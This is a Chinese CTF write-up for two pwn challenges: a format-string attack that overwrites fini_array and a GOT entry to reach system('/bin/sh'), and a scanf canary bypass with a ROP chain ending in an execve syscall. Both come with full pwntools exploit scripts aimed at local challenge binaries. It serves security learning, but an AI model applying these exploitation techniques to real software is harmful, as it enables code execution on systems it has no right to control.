[TOC]
pwn1
格式化字符串
但是printf结束后就return 0了。此时可以发现其保护为no relro
这样不但能写got表,还能写fini_array。main函数执行之前,start会做一些初始化,也就是Init。
然后main执行完毕,也会做一些析构工作,就是fini。所以我们把fini_array的内容写成main地址,就能循环了。
Fmtstr
首先要获得格式化字符串偏移,看栈或者用脚本。(其实就是输入AAAA%p%p%p%p,第四个%p会打印出AAAA的ascii码,所以偏移是4)
1 2 3 4 5 6 7 8 9 10 11 12
|
from pwn import * context.log_level = 'debug' def exec_fmt(payload): p = process("./pwn") p.recvuntil("name?") p.sendline(payload) return p.recvall() autofmt = FmtStr(exec_fmt) print autofmt.offset
|
或者利用如上脚本也能获得offset
然后利用fmtstr_payload()就可以自动生成payload写入了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import * context.log_level = 'debug' context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] elf = ELF('./pwn') systemPlt = elf.plt['system'] strlenGot = elf.got['printf'] print hex(systemPlt),hex(strlenGot) mainSymbol = elf.symbols['main'] finiSymbol = elf.symbols['__do_global_dtors_aux_fini_array_entry'] print hex(mainSymbol),hex(finiSymbol) p = process('./pwn')
offset =4 writes = {finiSymbol:mainSymbol,strlenGot:systemPlt}
payload1 = fmtstr_payload(offset=4,writes=writes,numbwritten = 0,write_size='short') print "payload:len = %d :%s"%(len(payload1),payload1) p.recvuntil('name?')
p.sendline(payload1) sleep(2) p.recvuntil('name?') payload2 = '/bin/sh' p.sendline(payload2) p.recv() p.interactive()
|
pwn2
栈溢出-scanf绕过canary
改自pwnable.tw double sort。问题是。。。改得啥都没法泄露了,排序也没用了。
这题我佛了,归并排序逆完并没有任何用,还以为能泄露
其漏洞点在于栈溢出,+和-可以跳过scanf的%u检查并不改变canary的值。
所以可以成功绕过canary
构造ROP
俺佛了,啥都没法泄露还要getshell。万幸有int 80h可以系统调用。构造ROP链就vans了
ROPgadget –binary pwn –only “mov|ret” 查找可以栈迁移的指令,发现一个高兴坏了。
然后找pop ecx;ret的,就可以栈迁移了
因为后面构造scanf调用,bss在第二个参数,所以pop ecx在第二个最好,选0x8070520
为啥要用scanf不用read呢,因为read第一个参数是0,循环直接就退出了。
scanf输入合适payload在Bss段过后就可以栈迁移了。
栈迁移过后还不能直接getshell,因为scanf读不了空格0x20,读不了0xb,我真的服了。所以再构造一个read函数吧。调用int 80h,eax是其调用号应该为11,是sys_execve 。ebx是参数,也就是’/bin/sh’的地址。所以找到pop eax就成了。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import *
context.aslr = False context.log_level = 'debug' p=process('./pwn') p.recvuntil('Name:') p.sendline('aaaa') p.recvuntil('stop)') p.sendline('330')
for i in range(300): p.recvuntil(': ') p.sendline('1')
bss_addr=0x80ECF80 p.recvuntil(': ') p.sendline('+') p.recvuntil(': ') p.sendline(str(0x8049980)) p.recvuntil(': ') p.sendline(str(0x80500E0)) p.recvuntil(': ') p.sendline(str(0x08070520)) p.recvuntil(': ') p.sendline(str(0x80CF3C0)) p.recvuntil(': ') p.sendline(str(bss_addr)) p.recvuntil(': ') p.sendline(str(0x100)) p.recvuntil(': ') p.sendline(str(0x080b9a92)) p.recvuntil(': ') p.sendline('0') payload=p32(0x806EAC0)+p32(0xdeadbeef)+p32(0)+p32(bss_addr+4)+p32(0x100) p.recvuntil('result') p.sendline(payload)
payload=p32(0x08070520)+2*p32(0xdeadbeef)+p32(bss_addr+28+4)+p32(0x080b9856)+p32(11)+p32(0x0806e173)+'/bin/sh\x00'
p.sendline(payload) p.interactive()
|